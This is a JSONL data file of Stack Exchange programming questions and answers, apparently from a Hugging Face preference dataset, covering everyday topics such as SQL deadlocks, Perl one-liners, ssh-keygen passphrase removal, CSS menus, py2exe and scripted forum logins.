{"id": "hf_073016c03f52", "question": "<p>Every morning, after logging into your machine, you do a variety of routine stuffs.\nThe list can include stuffs like opening/checking your email clients, rss readers, launching visual studio, running some business apps, typing some replies, getting latest version from Source Control, compiling, connecting to a different domain etc. To a big extend, we can automate using scripting solutions like <a href=\"http://www.autoitscript.com/autoit3/\" rel=\"nofollow noreferrer\">AutoIt</a>, nightly jobs etc. </p>\n\n<p>I would love to hear from you geeks out there for the list of stuffs you found doing repeatedly and how you solved it by automating it. Any cool tips?</p>\n", "question_body": "", "answer": "I use Linux. I have a bunch of scripts that do anything I want. Typically I write a script whenever a \"block\" of work can be reused in the future. For example, simple refactorings, deployments, etc...\nOver time I started to combine these blocks, hence getting ever more efficient.\nRegarding the \"load stuff at startup\", under Linux that comes out of the box (you can \"save your current session\" when you log out or turn off the computer).\nOn windows, my suggestion is to use programs that can be automated via command line.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.870439"}
{"id": "hf_fa453ad023bc", "question": "<p>Is it absolutely critical that I always close Syslog when I'm done using it? Is there a huge negative impact from not doing so?</p>\n\n<p>If it turns out that I definitely need to, what's a good way to do it? I'm opening Syslog in my class constructor and I don't see a way to do class destructors in Ruby, and currently have something resembling this:</p>\n\n<pre><code>class Foo\n  def initialize\n    @@log = Syslog.open(\"foo\")\n  end\nend\n</code></pre>\n\n<p>I don't immediately see the place where the <code>Syslog.close</code> call should be, but what do you recommend?</p>\n", "question_body": "", "answer": "The open method accepts a block.  Do something like this:\n```\n```\nclass Foo\n  def do_something\n    Syslog.open do\n      # work with the syslog here\n    end\n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.909464"}
{"id": "hf_cc0a2bb3581e", "question": "<p>I am encountering very infrequent yet annoying SQL deadlocks on a .NET 2.0 webapp running on top of MS SQL Server 2005. In the past, we have been dealing with the SQL deadlocks in the very empirical way - basically tweaking the queries until it work.</p>\n\n<p>Yet, I found this approach very unsatisfactory: time consuming and unreliable. I would highly prefer to follow deterministic query patterns that would ensure <strong>by design</strong> that no SQL deadlock will be encountered - ever.</p>\n\n<p>For example, in C# multithreaded programming, a simple design rule such as <em>the locks must be taken following their lexicographical order</em> ensures that no deadlock will <em>ever</em> happen.</p>\n\n<p>Are there any SQL coding patterns guaranteed to be deadlock-proof?</p>\n", "question_body": "", "answer": "As you said, always access tables in the same order is a very good way to avoid deadlocks. Furthermore, shorten your transactions as much as possible.\nAnother cool trick is to combine 2 sql statements in one whenever you can. Single statements are always transactional. For example use \"UPDATE ... SELECT\" or \"INSERT ... SELECT\", use \"@@ERROR\" and \"@@ROWCOUNT\" instead of \"SELECT COUNT\" or \"IF (EXISTS ...)\"\nLastly, make sure that your calling code can handle deadlocks by reposting the query a configurable amount of times. Sometimes it just happens, it's normal behaviour and your application must be able to deal with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.943537"}
{"id": "hf_762d690b8892", "question": "<ul>\n<li>The GoDiagram object model has a GoDocument. </li>\n<li>GoViews have a reference to a GoDocument.</li>\n<li>If the user does any modification on the diagramming surface, a GoDocument.Changed event is raised with the relevant information in the event arguments.</li>\n</ul>\n\n<p>I would like to be notified when some user-actions happen, so that I can confer with my Controller (disallow/cancel it if need be) and then issue view-update orders from there that actually modify the <strong>Northwoods GoDiagram</strong> third party component.<br>\nThe Changed event is a notification that something just happened (past tense) - Doing all of the above in the event handler results in a .... (<em>wait for it</em>)... StackOverflowException. (GoDocument.Changed handler > Updates GoDocument > Firing new Changed events.. )</p>\n\n<p>So question, how do I get a BeforeEditing or BeforeResizing kind of notification model in GoDiagrams? Has anyone who's been there lived to tell a tale?</p>\n", "question_body": "", "answer": "The event arguments (GoChangedEventArgs) for the change event has a property IsBeforeChanging which indicates whether the change event was raised from the \"RaiseChanging\" method (true), or the RaiseChanged (false).  That should tell you whether the change has occurred yet, but I know of no way to cancel it.\nThe best I can suggest is instead of checking if the change is allowed and performing it, check if the change is\nnot\nallowed, and if it isn't call the \"Undo\" method on the arguments in the change event.  So essentially:\n```\n```\nOnChanged(GoChangedEventArgs e)\n{\n  if(NotAllowed)\n  {\n    e.Undo();\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.966704"}
{"id": "hf_f5f67d9ee953", "question": "<p>What is the web interface tool that Debian or Ubuntu use for publicizing their custom repositories on the web?</p>\n\n<p>Like <a href=\"http://www.debian.org/distrib/packages\" rel=\"nofollow noreferrer\">packages.debian.org</a></p>\n\n<p>Is such tool open sourced, so that it could be re-used for a custom repository?</p>\n", "question_body": "", "answer": "You really only need something to parse the Packages file, no?\nExample Packages file\n. I've never attempted to do this before, but I cant imagine it being a horrendous task.\nEdit: Well it would technically be spidering the repo to process a series of Packages files, but that wouldn't make it too much tougher.\nEdit 2: Unless you specify the Packages files manually. Then it would be simple again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.989678"}
{"id": "hf_220eb326ca43", "question": "<p>For example:</p>\n\n<pre><code>root.Nodes.Add(new TNode() { Foo1 = bar1, Foo2 = bar2, Foo3 = bar3 });\n</code></pre>\n\n<p>or:</p>\n\n<pre><code>root.Nodes.Add(new TNode() { Foo1 = bar1, \n                             Foo2 = bar2, \n                             Foo3 = bar3 });\n</code></pre>\n", "question_body": "", "answer": "I've done it both ways.. IMO it depends on the complexity of the initialization.\nIf it is simple 2 or 3 properties I will initialize on one line generally, but if i'm setting up an object with values for insertion into a database or something that has alot of properties i'll break it out like your second example.\n```\n```\nIncome income = new Income\n{\n    Initials = something,\n    CheckNumber = something,\n    CheckDate = something,\n    BranchNumber = something\n};\n```\n```\nor\n```\n```\nreturn new Report.ReportData { ReportName = something, Formulas = something};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.036016"}
{"id": "hf_62705eb730b5", "question": "<p>What tools do you use to develop Oracle stored procedures, in a team :</p>\n\n<ul>\n<li>To automatically \"lock\" the current procedure you are working with, so nobody else in the team can make changes to it until you are finished.</li>\n<li>To automatically send the changes you make in the stored procedure, in an Oracle database, to a Subversion, CVS, ... repository</li>\n</ul>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Oracle's new SQL Developer has version control built-in.\nHere is a link to the product.\nhttp://www.oracle.com/technology/products/database/sql_developer/files/what_is_sqldev.html\nhttp://www.oracle.com/technology/products/database/sql_developer/images/what_version.png http://www.oracle.com/technology/products/database/sql_developer/images/what_version.png", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.105274"}
{"id": "hf_52f62908a83f", "question": "<p>The one-liner should:</p>\n\n<ul>\n<li>solve a real-world problem</li>\n<li>not be extensively cryptic (should be easy to understand and reproduce)</li>\n<li>be worth the time it takes to write it (should not be too clever)</li>\n</ul>\n\n<p>I'm looking for practical tips and tricks (complementary examples for <code>perldoc perlrun</code>).</p>\n", "question_body": "", "answer": "The problem\n: A media player does not automatically load subtitles due to their names differ from corresponding video files.\nSolution\n: Rename all *.srt (files with subtitles) to match the *.avi (files with video).\n```\n```\nperl -e'while(<*.avi>) { s/avi$/srt/; rename <*.srt>, $_ }'\n```\n```\nCAVEAT: Sorting order of original video and subtitle filenames should be the same.\nHere, a more verbose version of the above one-liner:\n```\n```\nmy @avi = glob('*.avi');\nmy @srt = glob('*.srt');\n\nfor my $i (0..$#avi)\n{\n  my $video_filename = $avi[$i];\n  $video_filename =~ s/avi$/srt/;   # 'movie1.avi' -> 'movie1.srt'\n\n  my $subtitle_filename = $srt[$i]; # 'film1.srt'\n  rename($subtitle_filename, $video_filename); # 'film1.srt' -> 'movie1.srt'\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.139950"}
{"id": "hf_4b68f50111b4", "question": "<p>If you are creating a 1d array in Python, is there any benefit to using the NumPy package?</p>\n", "question_body": "", "answer": "It all depends on what you plan to do with the array. If all you're doing is creating arrays of simple data types and doing I/O, the\narray\nmodule will do just fine.\nIf, on the other hand, you want to do any kind of numerical calculations, the array module doesn't provide any help with that.\nNumPy\n(and\nSciPy\n) give you a wide variety of operations between arrays and special functions that are useful not only for scientific work but for things like advanced image manipulation or in general anything where you need to perform efficient calculations with large amounts of data.\nNumpy is also much more flexible, e.g. it supports arrays of any type of Python objects, and is also able to interact \"natively\" with your own objects if they conform to the\narray interface\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.246393"}
{"id": "hf_92fa42b5d442", "question": "<p>I have a simple list I am using for a horizontal menu:</p>\n\n<pre><code>&lt;ul&gt;\n    &lt;h1&gt;Menu&lt;/h1&gt;\n    &lt;li&gt;\n      &lt;a href=\"/\" class=\"selected\"&gt;Home&lt;/a&gt;\n    &lt;/li&gt;\n    &lt;li&gt;\n      &lt;a href=\"/Home\"&gt;Forum&lt;/a&gt;\n    &lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>When I add a background color to the selected class, only the text gets the color, I want it to stretch the entire distance of the section.</p>\n\n<p>Hope this makes sense.</p>\n", "question_body": "", "answer": "The a element is an inline element, meaning it only applies to the text it encloses. If you want the background color to stretch across horizontally, apply the selected class to a block level element. Applying the class to the li element should work fine.\nAlternatively, you could add this to the selected class' CSS:\n```\n```\ndisplay: block;\n```\n```\nWhich will make the a element display like a block element.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.365286"}
{"id": "hf_d4d2d395fb4f", "question": "<p>I want to create a hidden field and create a link in one helper and then output both to my erb.</p>\n\n<pre><code>&lt;%= my_cool_helper \"something\", form %&gt;\n</code></pre>\n\n<p>Should out put the results of</p>\n\n<pre><code>link_to \"something\", a_path\nform.hidden_field \"something\".tableize, :value =&gt; \"something\"\n</code></pre>\n\n<p>What would the definition of the helper look like? The details of what link_to and the form.hidden_field don't really matter. What matters is, how do I return the output from two different calls.</p>\n", "question_body": "", "answer": "So far the best I have come up with is:\n```\n```\ndef my_cool_helper(name, form)\n  out = capture { link_to name, a_path }\n  out << capture { form.hidden_field name.tableize, value => 'something' }\nend\n```\n```\nIs there a better way?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.507351"}
{"id": "hf_b5dce6ee7923", "question": "<p>I made a panel and set it to fill the screen, now I can see the windows under it but I want it to be click through, meaning they could click a file or see a tool tip of another object through the transparency.</p>\n\n<blockquote>\n  <blockquote>\n    <p>RE: This may be too obvious, but have you tried sending the panel to the back by right clicking and choosing \"Send to Back\"?</p>\n  </blockquote>\n</blockquote>\n\n<p>I mean like the desktop or firefox, not something within my project.</p>\n", "question_body": "", "answer": "Creating a top level form that is transparent is very easy. Just make it fill the screen, or required area, and define it to have a TransparenyKey color and BackColor of the same value.\nGetting it to ignore the mouse is simple enough, you just need to override the WndProc and tell the WM_HITTEST that all mouse positions are to be treated as transparent. Thus causing the mouse to interact with whatever happens to be underneath the window. Something like this...\n```\n```\nprotected override void WndProc(ref Message m)\n    {\n        if (m.Msg == (int)WM_NCHITTEST)\n            m.Result = (IntPtr)HTTRANSPARENT;\n        else\n            base.WndProc(ref m);\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.529943"}
{"id": "hf_29f5d6a45b4b", "question": "<p>I want to put a <code>Canvas</code> with an image in my window, and then I want to <em>pack</em> widgets on top of it, so the Canvas acts as a background. </p>\n\n<p>Is it possible to have two states for the <code>pack</code> manager: one for one set of widgets and another for another set?</p>\n", "question_body": "", "answer": "The answer to your specific question is no. You can't have two states or otherwise use pack two different ways in the same parent.\nHowever, what I think you want to accomplish is simple. Use the built-in features of the canvas to create an image item that is part of the canvas, then pack things into the canvas as if it were a frame.\nYou can accomplish a similar thing by creating a label widget with an image, then pack your other widgets into the label.\nOne advantage to using a canvas is you can easily tile an image to fill the whole canvas with a repeating background image so as the window grows the image will continue to fill the window (of course you can just use a sufficiently large original image...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.618840"}
{"id": "hf_549cc000cc27", "question": "<p>I don't expect a straightforward silver bullet answer to this, but what are the best practices for ensuring good performance for SharePoint 2007 sites?</p>\n\n<p>We've a few sites for our intranet, and it generally is thought to run slow. There's plenty of memory and processor power in the servers, but the pages just don't 'snap' like you'd expect from a web site running on powerful servers.</p>\n\n<p>We've done what we can to tweak setup, but is there anything we could be missing?</p>\n", "question_body": "", "answer": "Just a few ideas...\nIs displaying your pages as slow when doing it from the Server or from a Client? If slower from client, do check your network.\nAre your pages very \"heavy\"? (means, many elements, web parts and so on?) Than maybe it's normal.\nHave you noticed they load slowlier since you've add one specific web part? Maybe there's some issues with that specific web part (for example, it's accessing to a document library that has many -thousands of- documents). If that's the case, try to deactivate that specific web part and see if the performance works better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.664977"}
{"id": "hf_f89262078c06", "question": "<p>I set a passphrase when creating a new SSH key on my laptop. But, as I realise now, this is quite painful when you are trying to commit (<a href=\"http://en.wikipedia.org/wiki/Git_%28software%29\" rel=\"noreferrer\">Git</a> and <a href=\"http://en.wikipedia.org/wiki/Apache_Subversion\" rel=\"noreferrer\">SVN</a>) to a remote location over SSH many times in an hour.</p>\n\n<p>One way I can think of is, delete my SSH keys and create new. Is there a way to remove the passphrase, while still keeping the same keys?</p>\n", "question_body": "", "answer": "Short answer:\n```\n```\n$ ssh-keygen -p\n```\n```\nThis will then prompt you to enter the keyfile location, the old passphrase, and the new passphrase (which can be left blank to have no passphrase).\nIf you would like to do it all on one line without prompts do:\n```\n```\n$ ssh-keygen -p [-P old_passphrase] [-N new_passphrase] [-f keyfile]\n```\n```\nImportant:\nBeware that when executing commands they will typically be logged in your\n```\n~/.bash_history\n```\nfile (or similar) in plain text including all arguments provided (i.e. the passphrases in this case). It is, therefore, is recommended that you use the first option unless you have a specific reason to do otherwise.\nNotice though that you can still use\n```\n-f keyfile\n```\nwithout having to specify\n```\n-P\n```\nnor\n```\n-N\n```\n, and that the keyfile defaults to\n```\n~/.ssh/id_rsa\n```\n, so in many cases, it's not even needed.\nYou might want to consider using ssh-agent, which can cache the passphrase for a time. The latest versions of gpg-agent also support the protocol that is used by ssh-agent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.711152"}
{"id": "hf_1a100c243a8d", "question": "<p>I'm getting a JS error on displaying a page: Nothing concrete is specified but the line where it seems to be thrown. When looking into the source code of the page, I see the error is thrown inside the following script, but I can't understand why! It's only about loading images!</p>\n\n<pre><code>    &lt;SCRIPT language=JavaScript&gt;\n&lt;!--\nfunction newImage(arg) {\n    var rslt = new Image();\n    rslt.src = arg;\n    return rslt;\n}\nfunction changeImages(a, b) {\n    a.src = b;\n}\nnewImage(\"\\/_layouts\\/images\\/icon1.gif\");\nnewImage(\"\\/_layouts\\/images\\/icon2.gif\");\n// --&gt;\n&lt;/SCRIPT&gt;\n</code></pre>\n\n<p>The error I am getting is when clicking on a drop down context menu on a page, for this line:</p>\n\n<pre><code>newImage(\"\\/_layouts\\/images\\/icon1.gif\");\n</code></pre>\n\n<blockquote>\n  <p>The object doesn't accept this property or method\n  Code: 0</p>\n</blockquote>\n\n<p>I really don't see what could happen... Any tips on what may be happening here?</p>\n", "question_body": "", "answer": "Write proper xml with the \" around attributes.\n```\n```\n<script type=\"text/javascript\">\nfunction newImage(arg) {\n    var rslt = new Image();\n    rslt.src = arg;\n    return rslt;\n}\nfunction changeImages(a, b) {\n    a.src =     b;\n}\nnewImage(\"/_layouts/images/icon1.gif\");\nnewImage(\"/_layouts/images/icon2.gif\");\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.770442"}
{"id": "hf_fe54b69f78a3", "question": "<p>I'm specifically looking for one that lets me display a map of US states with each one as it's own \"object\" in the sense that I can control the color, on click, and on mouseover of each one individually.  GTK is my personal preference, but at this point I'd settle for just about anything.  The application itself will be written in Python, FWIW.</p>\n", "question_body": "", "answer": "You can use\nQGraphicsView\nin PyQt. Each state is a new\n```\nQGraphicsItem\n```\n, which is either a bitmap or a path object. You just need to provide the outlines (or bitmaps) and the positions of the states.\nIf you have SVGs of the states, you can use them, too.\nThere is no generally accepted canvas class for GTK+.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.817412"}
{"id": "hf_4f4c85bf987d", "question": "<p>Given an array of <strong>n</strong> Objects, let's say it is an <strong>array of strings</strong>, and it has the following values:</p>\n\n<pre><code>foo[0] = \"a\";\nfoo[1] = \"cc\";\nfoo[2] = \"a\";\nfoo[3] = \"dd\";\n</code></pre>\n\n<p>What do I have to do to delete/remove all the strings/objects equal to <strong>\"a\"</strong> in the array?</p>\n", "question_body": "", "answer": "Make a\n```\nList\n```\nout of the array with\n```\nArrays.asList()\n```\n, and call\n```\nremove()\n```\non all the appropriate elements. Then call\n```\ntoArray()\n```\non the 'List' to make back into an array again.\nNot terribly performant, but if you encapsulate it properly, you can always do something quicker later on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.841051"}
{"id": "hf_a22718c468bb", "question": "<p>Are there any libraries (3rd party or built-in) in <code>PHP</code> to calculate text diffs?</p>\n", "question_body": "", "answer": "it depends exactly what you mean and what you want to do but there is\nPEAR Text_Diff\n- Engine for performing and rendering text diffs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.888087"}
{"id": "hf_997e982a742c", "question": "<p>How would a go about making a program where the user enters a string, and the program generates a list of words beginning with that string?</p>\n\n<p>Ex:<br />\nUser: \"abd\"<br />\nProgram:abdicate, abdomen, abduct...</p>\n\n<p>Thanks!</p>\n\n<hr>\n\n<p>Edit:  I'm using python, but I assume that this is a fairly language-independent problem.</p>\n", "question_body": "", "answer": "```\n```\nvar words = from word in dictionary\n            where word.key.StartsWith(\"bla-bla-bla\");\n            select word;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.911575"}
{"id": "hf_e23ec9d5769f", "question": "<p>I recently discovered the genshi.builder module. It reminds me of Divmod Nevow's Stan module. How would one use genshi.builder.tag to build an HTML document with a particular doctype? Or is this even a good thing to do? If not, what is the <em>right</em> way?</p>\n", "question_body": "", "answer": "Genshi.builder is for \"programmatically generating markup streams\"[1]. I believe the purpose of it is as a backend for the templating language. You're probably looking for the templating language for generating a whole page.\nYou can, however do the following:\n```\n```\n>>> import genshi.output\n>>> genshi.output.DocType('html')\n('html', '-//W3C//DTD HTML 4.01//EN', 'http://www.w3.org/TR/html4/strict.dtd')\n```\n```\nSee other Doctypes here:\nhttp://genshi.edgewall.org/wiki/ApiDocs/genshi.output#genshi.output:DocType\n```\n```\n[1] genshi.builder.__doc__\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.946673"}
{"id": "hf_42a41bed5f00", "question": "<p>I want to select the topmost element in a document that has a given namespace (prefix).</p>\n\n<p>More specifically: I have XML documents that either start with /html/body (in the XHTML namespace) or with one of several elements in a particular namespace. I effectively want to strip out /html/body and just return the body contents OR the entire root namespaced element. </p>\n", "question_body": "", "answer": "The XPath expression that I want is:\n```\n```\n/html:html/html:body/node()|/foo:*\n```\n```\nWhere the \"html\" prefix is mapped to the XHTML namespace, and the \"foo\" prefix is mapped to my target namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:39.981628"}
{"id": "hf_d0a9553ea53f", "question": "<p>I am using jProfiler to find memory leaks in a Java swing application. I have identified instances of a JFrame which keeps growing in count.</p>\n\n<p>This frame is opened, and then closed.</p>\n\n<p>Using jProfiler, and viewing the Paths to GC Root there is only one reference, 'JNI Global reference'.</p>\n\n<p>What does this mean? Why is it hanging on to each instance of the frame?</p>\n", "question_body": "", "answer": "Wikipedia has a good overview of\nJava Native Interface\n, essentially it allows communication between Java and native operating system libraries writen in other languages.\nJNI global references are prone to memory leaks, as they are not automatically garbage collected, and the programmer must explicitly free them.  If you are not writing any JNI code yourself, it is possible that the library you are using has a memory leak.\nedit\nhere\nis a bit more info on local vs. global references, and why global references are used (and how they should be freed)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.004743"}
{"id": "hf_5ec6153433b3", "question": "<p>I thought I heard that <a href=\"http://www.py2exe.org/\" rel=\"noreferrer\">py2exe</a> was able to do this, but I never figured it out.  Has anyone successfully done this?  Can I see your setup.py file, and what command line options you used?</p>\n\n<p>Basically I'm thinking of it giving me a single executable file that does something like unzips itself to maybe /temp and runs.</p>\n", "question_body": "", "answer": "No, it's doesn't give you a single executable in the sense that you only have one file afterwards - but you have a directory which contains everything you need for running your program, including an exe file.\nI just wrote\nthis setup.py\ntoday. You only need to invoke\n```\npython setup.py py2exe\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.109732"}
{"id": "hf_20fb92fcddbf", "question": "<p>What is the easiest way, preferably using recursion, to find the shortest root-to-leaf path in a BST (Binary Search Tree).  Java prefered, pseudocode okay.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "General description:\nUse a\nBreadth-first search (BFS)\nas opposed to a\nDepth-first search (DFS)\n.  Find the first node with no children.\nUsing a DFS you might get lucky on some input trees (but there is no way to know you got lucky so you still need to search the whole tree), but using the BFS method is much faster and you can find a solution without touching all nodes.\nTo find the root to leaf path, you could follow the first found childless node all the way back up to the root using the parent reference.  If you have no parent reference stored in each node, you can keep track of the parent nodes as you recurse down.  If you have your list in reverse order you could push it all on a stack and then pop it off.\nPseudo-code:\nThe problem is very simple; here is pseudo code to find the smallest length:\nPut the root node on the queue.\nRepeat while the queue is not empty, and no result was found:\nPull a node from the beginning of the queue and check if it has no children.  If it has no children you \nare done you found the shortest path.\nOtherwise push all the children (left, right) onto the queue.\nFinding all shortest paths:\nTo find all shortest paths you can store the depth of the node along with node inside the queue.  Then you would continue the algorithm for all nodes in the queue with the same depth.\nAlternative:\nIf instead you decided to use a DFS, you would have to search the entire tree to find the shortest path.  But this could be optimized by keeping a value for the shortest so far, and only checking the depth of future nodes up until you find a new shortest, or until you reach the shortest so far.  The BFS is a much better solution though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.203654"}
{"id": "hf_3447860c1bfc", "question": "<p>(ClientCookie is a module for (automatic) cookie-handling: <a href=\"http://wwwsearch.sourceforge.net/ClientCookie\" rel=\"nofollow noreferrer\">http://wwwsearch.sourceforge.net/ClientCookie</a>)</p>\n\n<pre><code># I encode the data I'll be sending:\ndata = urllib.urlencode({'username': 'mandark', 'password': 'deedee'})\n\n# And I send it and read the page:\npage = ClientCookie.urlopen('http://www.forum.com/ucp.php?mode=login', data)\noutput = page.read()\n</code></pre>\n\n<p>The script doesn't log in, but rather seems to get redirected back to the same login page asking it for a username and password. What am I doing wrong?</p>\n\n<p>Any help would be greatly appreciated! Thanks!</p>\n", "question_body": "", "answer": "Have you tried fetching the login page first?\nI would suggest using\nTamper Data\nto have a peek at exactly what's being sent when you request the login page and then log in normally using a web browser from a fresh start, with no initial cookies in place, so that your script can replicate it exactly.\nThat's the approach I used when writing the following, extracted from a script which needs to login to an Invision Power Board forum, using cookielib and urllib2 - you may find it useful as a reference.\n```\n```\nimport cookielib\nimport logging\nimport sys\nimport urllib\nimport urllib2\n\ncookies = cookielib.LWPCookieJar()\nopener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies))\nurllib2.install_opener(opener)\nheaders = {\n    'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12',\n    'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',\n    'Accept-Language': 'en-gb,en;q=0.5',\n    'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',\n}\n\n# Fetch the login page to set initial cookies\nurllib2.urlopen(urllib2.Request('http://www.rllmukforum.com/index.php?act=Login&CODE=00', None, headers))\n\n# Login so we can access the Off Topic forum\nlogin_headers = headers.copy()\nlogin_headers.update({\n    'Referer': 'http://www.rllmukforum.com/index.php?act=Login&CODE=00',\n    'Content-Type': 'application/x-www-form-urlencoded',\n})\nhtml = urllib2.urlopen(urllib2.Request('http://www.rllmukforum.com/index.php?act=Login&CODE=01',\n                                       urllib.urlencode({\n                                           'referer': 'http://www.rllmukforum.com/index.php?',\n                                           'UserName': RLLMUK_USERNAME,\n                                           'PassWord': RLLMUK_PASSWORD,\n                                       }),\n                                       login_headers)).read()\nif 'The following errors were found' in html:\n    logging.error('RLLMUK login failed')\n    logging.info(html)\n    sys.exit(1)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:40.238549"}
